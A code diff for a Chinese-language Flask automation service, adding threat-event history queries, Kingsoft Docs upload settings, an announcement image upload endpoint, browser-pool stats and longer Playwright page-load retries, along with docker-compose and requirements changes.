+    return {"page": page_i, "per_page": per_page_i, "total": total, "items": items, "filters": filters or {}}
+
+
+def get_ip_threat_history(ip: str, limit: int = 50) -> list[dict]:
+    """获取IP的威胁历史（最近limit条）。"""
+    ip_text = str(ip or "").strip()[:64]
+    if not ip_text:
+        return []
+    try:
+        limit_i = max(1, min(200, int(limit)))
+    except Exception:
+        limit_i = 50
+
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        cursor.execute(
+            """
+            SELECT
+                id,
+                threat_type,
+                score,
+                rule,
+                field_name,
+                matched,
+                value_preview,
+                ip,
+                user_id,
+                request_method,
+                request_path,
+                user_agent,
+                created_at
+            FROM threat_events
+            WHERE ip = ?
+            ORDER BY created_at DESC, id DESC
+            LIMIT ?
+            """,
+            (ip_text, limit_i),
+        )
+        return [dict(r) for r in cursor.fetchall()]
+
+
+def get_user_threat_history(user_id: int, limit: int = 50) -> list[dict]:
+    """获取用户的威胁历史（最近limit条）。"""
+    if user_id is None:
+        return []
+    try:
+        user_id_int = int(user_id)
+    except Exception:
+        return []
+    try:
+        limit_i = max(1, min(200, int(limit)))
+    except Exception:
+        limit_i = 50
+
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        cursor.execute(
+            """
+            SELECT
+                id,
+                threat_type,
+                score,
+                rule,
+                field_name,
+                matched,
+                value_preview,
+                ip,
+                user_id,
+                request_method,
+                request_path,
+                user_agent,
+                created_at
+            FROM threat_events
+            WHERE user_id = ?
+            ORDER BY created_at DESC, id DESC
+            LIMIT ?
+            """,
+            (user_id_int, limit_i),
+        )
+        return [dict(r) for r in cursor.fetchall()]

db/users.py

@@ -217,6 +217,39 @@ def get_user_by_id(user_id):
         return dict(user) if user else None
 
 
+def get_user_kdocs_settings(user_id):
+    """获取用户的金山文档配置"""
+    user = get_user_by_id(user_id)
+    if not user:
+        return None
+    return {
+        "kdocs_unit": user.get("kdocs_unit") or "",
+        "kdocs_auto_upload": 1 if user.get("kdocs_auto_upload") else 0,
+    }
+
+
+def update_user_kdocs_settings(user_id, *, kdocs_unit=None, kdocs_auto_upload=None) -> bool:
+    """更新用户的金山文档配置"""
+    updates = []
+    params = []
+    if kdocs_unit is not None:
+        updates.append("kdocs_unit = ?")
+        params.append(kdocs_unit)
+    if kdocs_auto_upload is not None:
+        updates.append("kdocs_auto_upload = ?")
+        params.append(kdocs_auto_upload)
+
+    if not updates:
+        return False
+
+    params.append(user_id)
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        cursor.execute(f"UPDATE users SET {', '.join(updates)} WHERE id = ?", params)
+        conn.commit()
+        return cursor.rowcount > 0
+
+
 def get_user_by_username(username):
     """根据用户名获取用户"""
     with db_pool.get_db() as conn:

docker-compose.yml

@@ -7,60 +7,48 @@ services:
     ports:
       - "51232:51233"
     volumes:
-      - ./data:/app/data          # 数据库持久化
-      - ./logs:/app/logs          # 日志持久化
-      - ./截图:/app/截图          # 截图持久化
-      - ./playwright:/ms-playwright  # Playwright浏览器持久化（避免重复下载）
-      - /etc/localtime:/etc/localtime:ro  # 时区同步
-      - ./static:/app/static      # 静态文件（实时更新）
-      - ./templates:/app/templates  # 模板文件（实时更新）
-      - ./app.py:/app/app.py      # 主程序（实时更新）
-      - ./database.py:/app/database.py  # 数据库模块（实时更新）
+      - ./data:/app/data
+      - ./logs:/app/logs
+      - ./截图:/app/截图
+      - ./playwright:/ms-playwright
+      - /etc/localtime:/etc/localtime:ro
+      - ./static:/app/static
+      - ./templates:/app/templates
+      - ./app.py:/app/app.py
+      - ./database.py:/app/database.py
+      # 代码热更新
+      - ./services:/app/services
+      - ./routes:/app/routes
+      - ./db:/app/db
+      - ./security:/app/security
+      - ./realtime:/app/realtime
+      - ./api_browser.py:/app/api_browser.py
+      - ./app_config.py:/app/app_config.py
+      - ./app_logger.py:/app/app_logger.py
+      - ./app_security.py:/app/app_security.py
+      - ./browser_pool_worker.py:/app/browser_pool_worker.py
+      - ./crypto_utils.py:/app/crypto_utils.py
+      - ./db_pool.py:/app/db_pool.py
+      - ./email_service.py:/app/email_service.py
+      - ./password_utils.py:/app/password_utils.py
+      - ./playwright_automation.py:/app/playwright_automation.py
+      - ./task_checkpoint.py:/app/task_checkpoint.py
     dns:
       - 223.5.5.5
       - 114.114.114.114
-      - 119.29.29.29
     environment:
       - TZ=Asia/Shanghai
       - PYTHONUNBUFFERED=1
       - PLAYWRIGHT_BROWSERS_PATH=/ms-playwright
-      - PLAYWRIGHT_DOWNLOAD_HOST=https://npmmirror.com/mirrors/playwright
-      # Flask 配置
       - FLASK_ENV=production
-      - FLASK_DEBUG=false
-      # 服务器配置
       - SERVER_HOST=0.0.0.0
       - SERVER_PORT=51233
-      # 数据库配置
-      - DB_FILE=data/app_data.db
-      - DB_POOL_SIZE=5
-      # 并发控制配置
-      - MAX_CONCURRENT_GLOBAL=2
-      - MAX_CONCURRENT_PER_ACCOUNT=1
-      - MAX_CONCURRENT_CONTEXTS=100
-      # 安全配置
-      - SESSION_LIFETIME_HOURS=24
-      - SESSION_COOKIE_SECURE=false
-      - MAX_CAPTCHA_ATTEMPTS=5
-      - MAX_IP_ATTEMPTS_PER_HOUR=10
-      # 日志配置
       - LOG_LEVEL=INFO
-      - LOG_FILE=logs/app.log
-      - API_DIAGNOSTIC_LOG=0
-      - API_DIAGNOSTIC_SLOW_MS=0
-      # 知识管理平台配置
-      - ZSGL_LOGIN_URL=https://postoa.aidunsoft.com/admin/login.aspx
-      - ZSGL_INDEX_URL_PATTERN=index.aspx
-      - PAGE_LOAD_TIMEOUT=60000
     restart: unless-stopped
-    shm_size: 2gb               # 为Chromium分配共享内存
-    
-    # 内存和CPU资源限制
-    mem_limit: 4g               # 硬限制:最大4GB内存
-    mem_reservation: 2g         # 软限制:预留2GB
-    cpus: '2.0'                 # 限制使用2个CPU核心
-    
-    # 健康检查(可选)
+    shm_size: 2gb
+    mem_limit: 4g
+    mem_reservation: 2g
+    cpus: '2.0'
     healthcheck:
       test: ["CMD-SHELL", "curl -f http://localhost:51233 || exit 1"]
       interval: 5m

email_service.py

@@ -154,6 +154,7 @@ def init_email_tables():
                 enabled INTEGER DEFAULT 0,
                 failover_enabled INTEGER DEFAULT 1,
                 register_verify_enabled INTEGER DEFAULT 0,
+                login_alert_enabled INTEGER DEFAULT 1,
                 task_notify_enabled INTEGER DEFAULT 0,
                 base_url TEXT DEFAULT '',
                 updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
@@ -244,8 +245,8 @@ def get_email_settings() -> Dict[str, Any]:
     with db_pool.get_db() as conn:
         cursor = conn.cursor()
         cursor.execute("""
-            SELECT enabled, failover_enabled, register_verify_enabled, base_url,
-                   task_notify_enabled, updated_at
+            SELECT enabled, failover_enabled, register_verify_enabled, login_alert_enabled,
+                   base_url, task_notify_enabled, updated_at
             FROM email_settings WHERE id = 1
         """)
         row = cursor.fetchone()
@@ -254,14 +255,16 @@ def get_email_settings() -> Dict[str, Any]:
                 'enabled': bool(row[0]),
                 'failover_enabled': bool(row[1]),
                 'register_verify_enabled': bool(row[2]) if row[2] is not None else False,
-                'base_url': row[3] or '',
-                'task_notify_enabled': bool(row[4]) if row[4] is not None else False,
-                'updated_at': row[5]
+                'login_alert_enabled': bool(row[3]) if row[3] is not None else True,
+                'base_url': row[4] or '',
+                'task_notify_enabled': bool(row[5]) if row[5] is not None else False,
+                'updated_at': row[6]
             }
         return {
             'enabled': False,
             'failover_enabled': True,
             'register_verify_enabled': False,
+            'login_alert_enabled': True,
             'base_url': '',
             'task_notify_enabled': False,
             'updated_at': None
@@ -272,6 +275,7 @@ def update_email_settings(
     enabled: bool,
     failover_enabled: bool,
     register_verify_enabled: bool = None,
+    login_alert_enabled: bool = None,
     base_url: str = None,
     task_notify_enabled: bool = None
 ) -> bool:
@@ -287,6 +291,10 @@ def update_email_settings(
             updates.append('register_verify_enabled = ?')
             params.append(int(register_verify_enabled))
 
+        if login_alert_enabled is not None:
+            updates.append('login_alert_enabled = ?')
+            params.append(int(login_alert_enabled))
+
         if base_url is not None:
             updates.append('base_url = ?')
             params.append(base_url)

playwright_automation.py

@@ -424,7 +424,7 @@ class PlaywrightAutomation:
 
             # 等待跳转
             # self.log("等待登录处理...")  # 精简日志
-            self.page.wait_for_load_state('networkidle', timeout=10000)  # 优化为10秒
+            self.page.wait_for_load_state('networkidle', timeout=30000)  # 增加到30秒
 
             # 检查登录结果
             current_url = self.page.url
@@ -823,7 +823,7 @@ class PlaywrightAutomation:
             self.log(f"导航到 '{browse_type}' 页面...")
             try:
                 # 等待页面完全加载
-                time.sleep(0.5)
+                time.sleep(2)
                 self.log(f"当前URL: {self.main_page.url}")
             except Exception as e:
                 self.log(f"获取URL失败: {str(e)}")
@@ -835,7 +835,7 @@ class PlaywrightAutomation:
             
             # 如果只是导航（用于截图），切换完成后直接返回
             if navigate_only:
-                time.sleep(0.3)  # 等待页面稳定
+                time.sleep(1)  # 等待页面稳定
                 result.success = True
                 return result
             
@@ -867,21 +867,27 @@ class PlaywrightAutomation:
                 except Exception:  # Bug fix: 明确捕获Exception
                     self.log("等待表格超时，继续尝试...")
 
-                # 等待页面网络空闲，确保AJAX加载完成
-                try:
-                    self.page.wait_for_load_state('networkidle', timeout=5000)
-                except Exception:
-                    pass  # 超时继续，不阻塞
+                # 额外等待，确保AJAX内容加载完成
+                # 第一页等待更长时间，因为是首次加载（并发时尤其<E5B0A4><E585B6><EFBFBD>要）
+                if current_page == 1 and total_items == 0:
+                    time.sleep(3.0)
+                else:
+                    time.sleep(1.0)
 
-                # 获取内容行数量（简化重试：2次快速检测）
+                # 获取内容行数量（带重试机制，避免AJAX加载慢导致误判）
+                # 第一页使用更多重试次数（8次×3秒=24秒），处理高并发时的慢加载
+                # 后续页使用3次×1.5秒=4.5秒
+                max_retries = 8 if (current_page == 1 and total_items == 0) else 3
+                retry_wait = 3.0 if (current_page == 1 and total_items == 0) else 1.5
                 rows_count = 0
-                for retry in range(2):
+                for retry in range(max_retries):
                     rows_locator = self.page.locator("//table[@class='ltable']/tbody/tr[position()>1 and count(td)>=5]")
                     rows_count = rows_locator.count()
                     if rows_count > 0:
                         break
-                    if retry == 0:
-                        time.sleep(0.5)  # 仅重试一次，等待0.5秒
+                    if retry < max_retries - 1:
+                        self.log(f"未检测到内容，等待后重试... ({retry+1}/{max_retries})")
+                        time.sleep(retry_wait)
 
                 if rows_count == 0:
                     self.log("当前页面没有内容")

requirements.txt

@@ -2,7 +2,6 @@ flask==3.0.0
 flask-socketio==5.3.5
 flask-login==0.6.3
 python-socketio==5.10.0
-playwright==1.40.0
 schedule==1.2.0
 psutil==5.9.6
 pytz==2024.1
@@ -10,6 +9,6 @@ bcrypt==4.0.1
 requests==2.31.0
 python-dotenv==1.0.0
 beautifulsoup4==4.12.2
-nest_asyncio
 cryptography>=41.0.0
 Pillow>=10.0.0
+playwright==1.42.0

routes/__init__.py

@@ -5,6 +5,7 @@ from __future__ import annotations
 
 def register_blueprints(app) -> None:
     from routes.admin_api import admin_api_bp
+    from routes.admin_api import security_bp as admin_security_bp
     from routes.api_accounts import api_accounts_bp
     from routes.api_auth import api_auth_bp
     from routes.api_schedules import api_schedules_bp
@@ -21,3 +22,6 @@ def register_blueprints(app) -> None:
     app.register_blueprint(api_screenshots_bp)
     app.register_blueprint(api_schedules_bp)
     app.register_blueprint(admin_api_bp)
+    # Security admin APIs (support both /api/admin/* and /yuyx/api/admin/*)
+    app.register_blueprint(admin_security_bp)
+    app.register_blueprint(admin_security_bp, url_prefix="/yuyx", name="admin_security_yuyx")

routes/admin_api/__init__.py

@@ -8,4 +8,6 @@ admin_api_bp = Blueprint("admin_api", __name__, url_prefix="/yuyx/api")
 
 # Import side effects: register routes on blueprint
 from routes.admin_api import core as _core  # noqa: F401
-from routes.admin_api import update as _update  # noqa: F401
+
+# Export security blueprint for app registration
+from routes.admin_api.security import security_bp  # noqa: F401

routes/admin_api/core.py

@@ -3,6 +3,8 @@
 from __future__ import annotations
 
 import os
+import posixpath
+import secrets
 import threading
 import time
 from datetime import datetime
@@ -15,7 +17,9 @@ from app_logger import get_logger
 from app_security import (
     get_rate_limit_ip,
     is_safe_outbound_url,
+    is_safe_path,
     require_ip_not_locked,
+    sanitize_filename,
     validate_email,
     validate_password,
 )
@@ -48,6 +52,36 @@ from services.time_utils import BEIJING_TZ, get_beijing_now
 logger = get_logger("app")
 config = get_config()
 
+_server_cpu_percent_lock = threading.Lock()
+_server_cpu_percent_last: float | None = None
+_server_cpu_percent_last_ts = 0.0
+
+
+def _get_server_cpu_percent() -> float:
+    import psutil
+
+    global _server_cpu_percent_last, _server_cpu_percent_last_ts
+
+    now = time.time()
+    with _server_cpu_percent_lock:
+        if _server_cpu_percent_last is not None and (now - _server_cpu_percent_last_ts) < 0.5:
+            return _server_cpu_percent_last
+
+        try:
+            if _server_cpu_percent_last is None:
+                cpu_percent = float(psutil.cpu_percent(interval=0.1))
+            else:
+                cpu_percent = float(psutil.cpu_percent(interval=None))
+        except Exception:
+            cpu_percent = float(_server_cpu_percent_last or 0.0)
+
+        if cpu_percent < 0:
+            cpu_percent = 0.0
+
+        _server_cpu_percent_last = cpu_percent
+        _server_cpu_percent_last_ts = now
+        return cpu_percent
+
 
 def _admin_reauth_required() -> bool:
     try:
@@ -61,6 +95,24 @@ def _require_admin_reauth():
         return jsonify({"error": "需要二次确认", "code": "reauth_required"}), 401
     return None
 
+def _get_upload_dir():
+    rel_dir = getattr(config, "ANNOUNCEMENT_IMAGE_DIR", "static/announcements")
+    if not is_safe_path(current_app.root_path, rel_dir):
+        rel_dir = "static/announcements"
+    abs_dir = os.path.join(current_app.root_path, rel_dir)
+    os.makedirs(abs_dir, exist_ok=True)
+    return abs_dir, rel_dir
+
+
+def _get_file_size(file_storage):
+    try:
+        file_storage.stream.seek(0, os.SEEK_END)
+        size = file_storage.stream.tell()
+        file_storage.stream.seek(0)
+        return size
+    except Exception:
+        return None
+
 
 @admin_api_bp.route("/debug-config", methods=["GET"])
 @admin_required
@@ -199,6 +251,42 @@ def admin_reauth():
 # ==================== 公告管理API（管理员） ====================
 
 
+@admin_api_bp.route("/announcements/upload_image", methods=["POST"])
+@admin_required
+def admin_upload_announcement_image():
+    """上传公告图片（返回可访问URL）"""
+    file = request.files.get("file")
+    if not file or not file.filename:
+        return jsonify({"error": "请选择图片"}), 400
+
+    filename = sanitize_filename(file.filename)
+    ext = os.path.splitext(filename)[1].lower()
+    allowed_exts = getattr(config, "ALLOWED_ANNOUNCEMENT_IMAGE_EXTENSIONS", {".png", ".jpg", ".jpeg"})
+    if not ext or ext not in allowed_exts:
+        return jsonify({"error": "不支持的图片格式"}), 400
+    if file.mimetype and not str(file.mimetype).startswith("image/"):
+        return jsonify({"error": "文件类型无效"}), 400
+
+    size = _get_file_size(file)
+    max_size = int(getattr(config, "MAX_ANNOUNCEMENT_IMAGE_SIZE", 5 * 1024 * 1024))
+    if size is not None and size > max_size:
+        max_mb = max_size // 1024 // 1024
+        return jsonify({"error": f"图片大小不能超过{max_mb}MB"}), 400
+
+    abs_dir, rel_dir = _get_upload_dir()
+    token = secrets.token_hex(6)
+    name = f"announcement_{int(time.time())}_{token}{ext}"
+    save_path = os.path.join(abs_dir, name)
+    file.save(save_path)
+
+    static_root = os.path.join(current_app.root_path, "static")
+    rel_to_static = os.path.relpath(abs_dir, static_root)
+    if rel_to_static.startswith(".."):
+        rel_to_static = "announcements"
+    url_path = posixpath.join(rel_to_static.replace(os.sep, "/"), name)
+    return jsonify({"success": True, "url": url_for("serve_static", filename=url_path)})
+
+
 @admin_api_bp.route("/announcements", methods=["GET"])
 @admin_required
 def admin_get_announcements():
@@ -221,9 +309,13 @@ def admin_create_announcement():
     data = request.json or {}
     title = (data.get("title") or "").strip()
     content = (data.get("content") or "").strip()
+    image_url = (data.get("image_url") or "").strip()
     is_active = bool(data.get("is_active", True))
 
-    announcement_id = database.create_announcement(title, content, is_active=is_active)
+    if image_url and len(image_url) > 1000:
+        return jsonify({"error": "图片地址过长"}), 400
+
+    announcement_id = database.create_announcement(title, content, image_url=image_url, is_active=is_active)
     if not announcement_id:
         return jsonify({"error": "标题和内容不能为空"}), 400
 
@@ -317,6 +409,71 @@ def get_system_stats():
     return jsonify(stats)
 
 
+@admin_api_bp.route("/browser_pool/stats", methods=["GET"])
+@admin_required
+def get_browser_pool_stats():
+    """获取截图线程池状态"""
+    try:
+        from browser_pool_worker import get_browser_worker_pool
+
+        pool = get_browser_worker_pool()
+        stats = pool.get_stats() or {}
+
+        worker_details = []
+        for w in stats.get("workers") or []:
+            last_ts = float(w.get("last_active_ts") or 0)
+            last_active_at = None
+            if last_ts > 0:
+                try:
+                    last_active_at = datetime.fromtimestamp(last_ts, tz=BEIJING_TZ).strftime("%Y-%m-%d %H:%M:%S")
+                except Exception:
+                    last_active_at = None
+
+            created_ts = w.get("browser_created_at")
+            created_at = None
+            if created_ts:
+                try:
+                    created_at = datetime.fromtimestamp(float(created_ts), tz=BEIJING_TZ).strftime("%Y-%m-%d %H:%M:%S")
+                except Exception:
+                    created_at = None
+
+            worker_details.append(
+                {
+                    "worker_id": w.get("worker_id"),
+                    "idle": bool(w.get("idle")),
+                    "has_browser": bool(w.get("has_browser")),
+                    "total_tasks": int(w.get("total_tasks") or 0),
+                    "failed_tasks": int(w.get("failed_tasks") or 0),
+                    "browser_use_count": int(w.get("browser_use_count") or 0),
+                    "browser_created_at": created_at,
+                    "browser_created_ts": created_ts,
+                    "last_active_at": last_active_at,
+                    "last_active_ts": last_ts,
+                    "thread_alive": bool(w.get("thread_alive")),
+                }
+            )
+
+        total_workers = len(worker_details) if worker_details else int(stats.get("pool_size") or 0)
+        return jsonify(
+            {
+                "total_workers": total_workers,
+                "active_workers": int(stats.get("busy_workers") or 0),
+                "idle_workers": int(stats.get("idle_workers") or 0),
+                "queue_size": int(stats.get("queue_size") or 0),
+                "workers": worker_details,
+                "summary": {
+                    "total_tasks": int(stats.get("total_tasks") or 0),
+                    "failed_tasks": int(stats.get("failed_tasks") or 0),
+                    "success_rate": stats.get("success_rate"),
+                },
+                "server_time_cst": get_beijing_now().strftime("%Y-%m-%d %H:%M:%S"),
+            }
+        )
+    except Exception as e:
+        logger.exception(f"[AdminAPI] 获取截图线程池状态失败: {e}")
+        return jsonify({"error": "获取截图线程池状态失败"}), 500
+
+
 @admin_api_bp.route("/docker_stats", methods=["GET"])
 @admin_required
 def get_docker_stats():
@@ -510,9 +667,21 @@ def update_system_config_api():
     schedule_weekdays = data.get("schedule_weekdays")
     new_max_concurrent_per_account = data.get("max_concurrent_per_account")
     new_max_screenshot_concurrent = data.get("max_screenshot_concurrent")
+    enable_screenshot = data.get("enable_screenshot")
     auto_approve_enabled = data.get("auto_approve_enabled")
     auto_approve_hourly_limit = data.get("auto_approve_hourly_limit")
     auto_approve_vip_days = data.get("auto_approve_vip_days")
+    kdocs_enabled = data.get("kdocs_enabled")
+    kdocs_doc_url = data.get("kdocs_doc_url")
+    kdocs_default_unit = data.get("kdocs_default_unit")
+    kdocs_sheet_name = data.get("kdocs_sheet_name")
+    kdocs_sheet_index = data.get("kdocs_sheet_index")
+    kdocs_unit_column = data.get("kdocs_unit_column")
+    kdocs_image_column = data.get("kdocs_image_column")
+    kdocs_admin_notify_enabled = data.get("kdocs_admin_notify_enabled")
+    kdocs_admin_notify_email = data.get("kdocs_admin_notify_email")
+    kdocs_row_start = data.get("kdocs_row_start")
+    kdocs_row_end = data.get("kdocs_row_end")
 
     if max_concurrent is not None:
         if not isinstance(max_concurrent, int) or max_concurrent < 1:
@@ -524,7 +693,13 @@ def update_system_config_api():
 
     if new_max_screenshot_concurrent is not None:
         if not isinstance(new_max_screenshot_concurrent, int) or new_max_screenshot_concurrent < 1:
-            return jsonify({"error": "截图并发数必须大于0（建议根据服务器配置设置，每个浏览器约占用200MB内存）"}), 400
+            return jsonify({"error": "截图并发数必须大于0（建议根据服务器配置设置，wkhtmltoimage 资源占用较低）"}), 400
+
+    if enable_screenshot is not None:
+        if isinstance(enable_screenshot, bool):
+            enable_screenshot = 1 if enable_screenshot else 0
+        if enable_screenshot not in (0, 1):
+            return jsonify({"error": "截图开关必须是0或1"}), 400
 
     if schedule_time is not None:
         import re
@@ -554,6 +729,82 @@ def update_system_config_api():
         if not isinstance(auto_approve_vip_days, int) or auto_approve_vip_days < 0:
             return jsonify({"error": "注册赠送VIP天数不能为负数"}), 400
 
+    if kdocs_enabled is not None:
+        if isinstance(kdocs_enabled, bool):
+            kdocs_enabled = 1 if kdocs_enabled else 0
+        if kdocs_enabled not in (0, 1):
+            return jsonify({"error": "表格上传开关必须是0或1"}), 400
+
+    if kdocs_doc_url is not None:
+        kdocs_doc_url = str(kdocs_doc_url or "").strip()
+        if kdocs_doc_url and not is_safe_outbound_url(kdocs_doc_url):
+            return jsonify({"error": "文档链接格式不正确"}), 400
+
+    if kdocs_default_unit is not None:
+        kdocs_default_unit = str(kdocs_default_unit or "").strip()
+        if len(kdocs_default_unit) > 50:
+            return jsonify({"error": "默认县区长度不能超过50"}), 400
+
+    if kdocs_sheet_name is not None:
+        kdocs_sheet_name = str(kdocs_sheet_name or "").strip()
+        if len(kdocs_sheet_name) > 50:
+            return jsonify({"error": "Sheet名称长度不能超过50"}), 400
+
+    if kdocs_sheet_index is not None:
+        try:
+            kdocs_sheet_index = int(kdocs_sheet_index)
+        except Exception:
+            return jsonify({"error": "Sheet序号必须是数字"}), 400
+        if kdocs_sheet_index < 0:
+            return jsonify({"error": "Sheet序号不能为负数"}), 400
+
+    if kdocs_unit_column is not None:
+        kdocs_unit_column = str(kdocs_unit_column or "").strip().upper()
+        if not kdocs_unit_column:
+            return jsonify({"error": "县区列不能为空"}), 400
+        import re
+
+        if not re.match(r"^[A-Z]{1,3}$", kdocs_unit_column):
+            return jsonify({"error": "县区列格式错误"}), 400
+
+    if kdocs_image_column is not None:
+        kdocs_image_column = str(kdocs_image_column or "").strip().upper()
+        if not kdocs_image_column:
+            return jsonify({"error": "图片列不能为空"}), 400
+        import re
+
+        if not re.match(r"^[A-Z]{1,3}$", kdocs_image_column):
+            return jsonify({"error": "图片列格式错误"}), 400
+
+    if kdocs_admin_notify_enabled is not None:
+        if isinstance(kdocs_admin_notify_enabled, bool):
+            kdocs_admin_notify_enabled = 1 if kdocs_admin_notify_enabled else 0
+        if kdocs_admin_notify_enabled not in (0, 1):
+            return jsonify({"error": "管理员通知开关必须是0或1"}), 400
+
+    if kdocs_admin_notify_email is not None:
+        kdocs_admin_notify_email = str(kdocs_admin_notify_email or "").strip()
+        if kdocs_admin_notify_email:
+            is_valid, error_msg = validate_email(kdocs_admin_notify_email)
+            if not is_valid:
+                return jsonify({"error": error_msg}), 400
+
+    if kdocs_row_start is not None:
+        try:
+            kdocs_row_start = int(kdocs_row_start)
+        except (ValueError, TypeError):
+            return jsonify({"error": "起始行必须是数字"}), 400
+        if kdocs_row_start < 0:
+            return jsonify({"error": "起始行不能为负数"}), 400
+
+    if kdocs_row_end is not None:
+        try:
+            kdocs_row_end = int(kdocs_row_end)
+        except (ValueError, TypeError):
+            return jsonify({"error": "结束行必须是数字"}), 400
+        if kdocs_row_end < 0:
+            return jsonify({"error": "结束行不能为负数"}), 400
+
     old_config = database.get_system_config() or {}
 
     if not database.update_system_config(
@@ -564,9 +815,21 @@ def update_system_config_api():
         schedule_weekdays=schedule_weekdays,
         max_concurrent_per_account=new_max_concurrent_per_account,
         max_screenshot_concurrent=new_max_screenshot_concurrent,
+        enable_screenshot=enable_screenshot,
         auto_approve_enabled=auto_approve_enabled,
         auto_approve_hourly_limit=auto_approve_hourly_limit,
         auto_approve_vip_days=auto_approve_vip_days,
+        kdocs_enabled=kdocs_enabled,
+        kdocs_doc_url=kdocs_doc_url,
+        kdocs_default_unit=kdocs_default_unit,
+        kdocs_sheet_name=kdocs_sheet_name,
+        kdocs_sheet_index=kdocs_sheet_index,
+        kdocs_unit_column=kdocs_unit_column,
+        kdocs_image_column=kdocs_image_column,
+        kdocs_admin_notify_enabled=kdocs_admin_notify_enabled,
+        kdocs_admin_notify_email=kdocs_admin_notify_email,
+        kdocs_row_start=kdocs_row_start,
+        kdocs_row_end=kdocs_row_end,
     ):
         return jsonify({"error": "更新失败"}), 400
 
@@ -577,6 +840,14 @@ def update_system_config_api():
             max_global=int(new_config.get("max_concurrent_global", old_config.get("max_concurrent_global", 2))),
             max_per_user=int(new_config.get("max_concurrent_per_account", old_config.get("max_concurrent_per_account", 1))),
         )
+        if new_max_screenshot_concurrent is not None:
+            try:
+                from browser_pool_worker import resize_browser_worker_pool
+
+                if resize_browser_worker_pool(int(new_config.get("max_screenshot_concurrent", new_max_screenshot_concurrent))):
+                    logger.info(f"截图线程池并发已更新为: {new_config.get('max_screenshot_concurrent')}")
+            except Exception as pool_error:
+                logger.warning(f"截图线程池并发更新失败: {pool_error}")
     except Exception:
         pass
 
@@ -590,6 +861,70 @@ def update_system_config_api():
     return jsonify({"message": "系统配置已更新"})
 
 
+@admin_api_bp.route("/kdocs/status", methods=["GET"])
+@admin_required
+def get_kdocs_status_api():
+    """获取金山文档上传状态"""
+    try:
+        from services.kdocs_uploader import get_kdocs_uploader
+
+        uploader = get_kdocs_uploader()
+        status = uploader.get_status()
+        live = str(request.args.get("live", "")).lower() in ("1", "true", "yes")
+        if live:
+            live_status = uploader.refresh_login_status()
+            if live_status.get("success"):
+                logged_in = bool(live_status.get("logged_in"))
+                status["logged_in"] = logged_in
+                status["last_login_ok"] = logged_in
+                status["login_required"] = not logged_in
+            if live_status.get("error"):
+                status["last_error"] = live_status.get("error")
+        else:
+            status["logged_in"] = True if status.get("last_login_ok") else False if status.get("last_login_ok") is False else None
+            if status.get("last_login_ok") is True and status.get("last_error") == "操作超时":
+                status["last_error"] = None
+        return jsonify(status)
+    except Exception as e:
+        return jsonify({"error": f"获取状态失败: {e}"}), 500
+
+
+@admin_api_bp.route("/kdocs/qr", methods=["POST"])
+@admin_required
+def get_kdocs_qr_api():
+    """获取金山文档登录二维码"""
+    try:
+        from services.kdocs_uploader import get_kdocs_uploader
+
+        uploader = get_kdocs_uploader()
+        data = request.get_json(silent=True) or {}
+        force = bool(data.get("force"))
+        if not force:
+            force = str(request.args.get("force", "")).lower() in ("1", "true", "yes")
+        result = uploader.request_qr(force=force)
+        if not result.get("success"):
+            return jsonify({"error": result.get("error", "获取二维码失败")}), 400
+        return jsonify(result)
+    except Exception as e:
+        return jsonify({"error": f"获取二维码失败: {e}"}), 500
+
+
+@admin_api_bp.route("/kdocs/clear-login", methods=["POST"])
+@admin_required
+def clear_kdocs_login_api():
+    """清除金山文档登录态"""
+    try:
+        from services.kdocs_uploader import get_kdocs_uploader
+
+        uploader = get_kdocs_uploader()
+        result = uploader.clear_login()
+        if not result.get("success"):
+            return jsonify({"error": result.get("error", "清除失败")}), 400
+        return jsonify({"success": True})
+    except Exception as e:
+        return jsonify({"error": f"清除失败: {e}"}), 500
+
+
 @admin_api_bp.route("/schedule/execute", methods=["POST"])
 @admin_required
 def execute_schedule_now():
@@ -673,7 +1008,7 @@ def get_server_info_api():
     """获取服务器信息"""
     import psutil
 
-    cpu_percent = psutil.cpu_percent(interval=1)
+    cpu_percent = _get_server_cpu_percent()
 
     memory = psutil.virtual_memory()
     memory_total = f"{memory.total / (1024**3):.1f}GB"
@@ -776,20 +1111,31 @@ def get_running_tasks_api():
 @admin_required
 def get_task_logs_api():
     """获取任务日志列表（支持分页和多种筛选）"""
+    try:
         limit = int(request.args.get("limit", 20))
+        limit = max(1, min(limit, 200))  # 限制 1-200 条
+    except (ValueError, TypeError):
+        limit = 20
+
+    try:
         offset = int(request.args.get("offset", 0))
+        offset = max(0, offset)
+    except (ValueError, TypeError):
+        offset = 0
+
     date_filter = request.args.get("date")
     status_filter = request.args.get("status")
     source_filter = request.args.get("source")
     user_id_filter = request.args.get("user_id")
-    account_filter = request.args.get("account")
+    account_filter = (request.args.get("account") or "").strip()
 
     if user_id_filter:
         try:
             user_id_filter = int(user_id_filter)
-        except ValueError:
+        except (ValueError, TypeError):
             user_id_filter = None
 
+    try:
         result = database.get_task_logs(
             limit=limit,
             offset=offset,
@@ -797,9 +1143,12 @@ def get_task_logs_api():
             status_filter=status_filter,
             source_filter=source_filter,
             user_id_filter=user_id_filter,
-        account_filter=account_filter,
+            account_filter=account_filter if account_filter else None,
         )
         return jsonify(result)
+    except Exception as e:
+        logger.error(f"获取任务日志失败: {e}")
+        return jsonify({"logs": [], "total": 0, "error": "查询失败"})
 
 
 @admin_api_bp.route("/task/logs/clear", methods=["POST"])
@@ -910,32 +1259,6 @@ def admin_reset_password_route(user_id):
     return jsonify({"error": "重置失败，用户不存在"}), 400
 
 
-@admin_api_bp.route("/password_resets", methods=["GET"])
-@admin_required
-def get_password_resets_route():
-    """获取所有待审核的密码重置申请"""
-    resets = database.get_pending_password_resets()
-    return jsonify(resets)
-
-
-@admin_api_bp.route("/password_resets/<int:request_id>/approve", methods=["POST"])
-@admin_required
-def approve_password_reset_route(request_id):
-    """批准密码重置申请"""
-    if database.approve_password_reset(request_id):
-        return jsonify({"message": "密码重置申请已批准"})
-    return jsonify({"error": "批准失败"}), 400
-
-
-@admin_api_bp.route("/password_resets/<int:request_id>/reject", methods=["POST"])
-@admin_required
-def reject_password_reset_route(request_id):
-    """拒绝密码重置申请"""
-    if database.reject_password_reset(request_id):
-        return jsonify({"message": "密码重置申请已拒绝"})
-    return jsonify({"error": "拒绝失败"}), 400
-
-
 @admin_api_bp.route("/feedbacks", methods=["GET"])
 @admin_required
 def get_all_feedbacks():
@@ -1067,6 +1390,7 @@ def update_email_settings_api():
         enabled = data.get("enabled", False)
